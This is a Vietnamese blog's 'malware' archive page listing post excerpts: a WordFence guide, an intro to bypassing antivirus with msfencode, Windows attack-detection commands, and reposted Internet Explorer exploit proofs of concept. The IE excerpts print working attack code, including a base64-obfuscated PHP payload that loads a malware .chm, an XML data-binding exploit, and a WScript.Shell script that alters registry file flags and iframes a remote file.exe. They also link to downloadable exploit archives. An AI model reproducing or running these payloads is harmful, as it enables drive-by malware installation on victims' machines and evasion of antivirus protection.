Portfolio
malware

[WordPress] Hướng dẫn cài đặt và sử dụng plugin WordFence

October 9, 2017Category : Code/Web

WordFence là gì Wordfence là một plugin bảo mật WordFence. Và nó là plugin rất phổ biến. 2 triệu lượt cài đặt đã nói lên điều đó. Vậy plugin này có tính năng gì hay ho? Như là plugin bảo mật, đương nhiên nó sẽ giúp bảo vệ website của bạn trước các mối đe..

Read more
01.

Bypassing Antivirus with Msfencode

July 27, 2012Category : Bug & Security Virut/Trojan

What You Need A BackTrack Linux machine, real or virtual. I used BackTrack 5 R2, but other versions of BackTrack are probably OK too. WARNING We are using some harmless test files, but don’t infect people with any real viruses–that’s a crime! Purpose Antivirus protects machines from malware, but not all of it. There are..

Read more
02.

Xác định hệ thống bị tấn công bằng các lệnh Windows

September 23, 2011Category : IT & Network

Các máy tính Windows là những máy tính bị tấn công nhiều nhất. Chính vì vậy mà Microsoft đã xây dựng rất nhiều công cụ trong hệ điều hành Windows để các quản trị viên và một số người dùng có thể phân tích máy tính của họ .1. WMIC Windows Management Instrumentation Command-line (WMIC)..

Read more
03.

[malware]Microsoft Internet Explorer File Attachment Script Execution Vulnerability

June 21, 2008Category : Virut/Trojan

The following proof of concept was provided by “[email protected]” <[email protected]>: <? function malware() { header(“Content-type: text/html”); header(“Content-Disposition: attachment”); echo base64_decode( ‘PGltZyBkeW5zcmM9Imh0dHA6Ly93d3cubWFsd2FyZS5jb20vbW’. ‘Fsd2FyZS9tYWx3YXJlLmNobSIgd2lkdGg9MSBoZWlnaHQ9MT4N’. ‘Cg0KPFNDUklQVD4NCg0KLy8gNy4wMi4wMiBodHRwOi8vd3d3Lm’. ‘1hbHdhcmUuY29tDQoNCi8vIHlvdSBtYXkgY29uc2lkZXIgd3Jp’. ‘dGluZyBzZXZlcmFsIGxpbmVzDQovLyBpbiBjYXNlIG1hbHdhcm’. ‘UuY2htIGFycml2ZXMgYXMgWzFdIG9yIFsyXSBldGMNCg0KZnVu’. ‘Y3Rpb24gbWFsd2FyZSgpDQp7DQpzPWRvY3VtZW50LlVSTDsNCn’. ‘BhdGg9cy5zdWJzdHIoLTAscy5sYXN0SW5kZXhPZigiXFwiKSk7’. ‘DQpwYXRoPXVuZXNjYXBlKHBhdGgpOw0KZG9jdW1lbnQud3JpdG’. ‘UoJzxGT1JNIG5hbWU9Im1hbHdhcmUiIEFDVElPTj0iamF2YXNj’. ‘cmlwdDp3aW5kb3cuc2hvd0hlbHAoZG9jdW1lbnQuZm9ybXNbMF’. ‘0uZWxlbWVudHNbMF0udmFsdWUpIj4nKTsNCmRvY3VtZW50Lndy’. ‘aXRlKCc8Zm9ybT48aW5wdXQgdHlwZT0iaGlkZGVuIiAgc2l6ZT’. ‘0iNDAiIG1heGxlbmd0aD0iODAiIHZhbHVlPSInK3BhdGgrJ1xc’. ‘bWFsd2FyZVsxXS5jaG0iPjwvZm9ybT4nKTsNCnNldFRpbWVvdX’. ‘QoJ2RvY3VtZW50Lm1hbHdhcmUuc3VibWl0KCknLDEwMDAwKTsN’. ‘CiB9IA0Kc2V0VGltZW91dCgibWFsd2FyZSgpIiwyNTAwKTsgIA’. ‘0KPC9TQ1JJUFQ+DQogDQoNCg==’.”);} { malware(); } PHP ?>

Read more
04.

[malware]Microsoft Internet Explorer Self Executing HTML File Vulnerability

June 21, 2008Category : Virut/Trojan

Exploit: http://rapidshare.com/files/124044383/_malware_Microsoft_Internet_Explorer_Self_Executing_HTML_File_Vulnerability.rar

Read more
05.

[malware]Microsoft Internet Explorer XML Page Object Type Validation Vulnerability

June 21, 2008Category : Virut/Trojan

The following proof of concept has been supplied: <span datasrc=”#oExec” datafld=”exploit” dataformatas=”html”></span> <xml id=”oExec”> <security> <exploit> <![CDATA[ <object id=”oFile” data=”badnews.php”></object> ]]> </exploit> </security> </xml>

Read more
06.

[malware]Microsoft Internet Explorer Shell.Application Object Script Execution Weakness

June 21, 2008Category : Virut/Trojan

Vulnerable: Microsoft Internet Explorer 6.0 SP1 – Microsoft Internet Explorer 6.0 Credit:     “[email protected]” <[email protected]> disclosed this weakness. Several proof-of-concept examples have been presented: “Matthew Murphy” <[email protected]> proposed: <html><head> <script language=”JavaScript” defer> function throw_onload() { actx.RegWrite(“HKCR\\exefile\\EditFlags”, 0x38070000, “REG_BINARY”); window.close(); } var actx = new ActiveXObject(“WScript.Shell”); actx.RegWrite(“HKCR\\exefile\\EditFlags”, 256, “REG_BINARY”); document.writeln(“<IFRAME SRC=\”http://www.somebadsite.com/file.exe\” ONLOAD=\”throw_onload()\” />”); window.setTimeout(“throw_onload()”, 5000); //..

Read more
07.

[malware]Microsoft Internet Explorer Valid File Drag and Drop Embedded Code Vulnerability

June 21, 2008Category : Virut/Trojan

Exploit: http://rapidshare.com/files/124034189/_malware_Microsoft_Internet_Explorer_Valid_File_Drag_and_Drop_Embedded_Code_Vulnerability.rar

Read more
08.
© Oliver / All rights reserved.
To top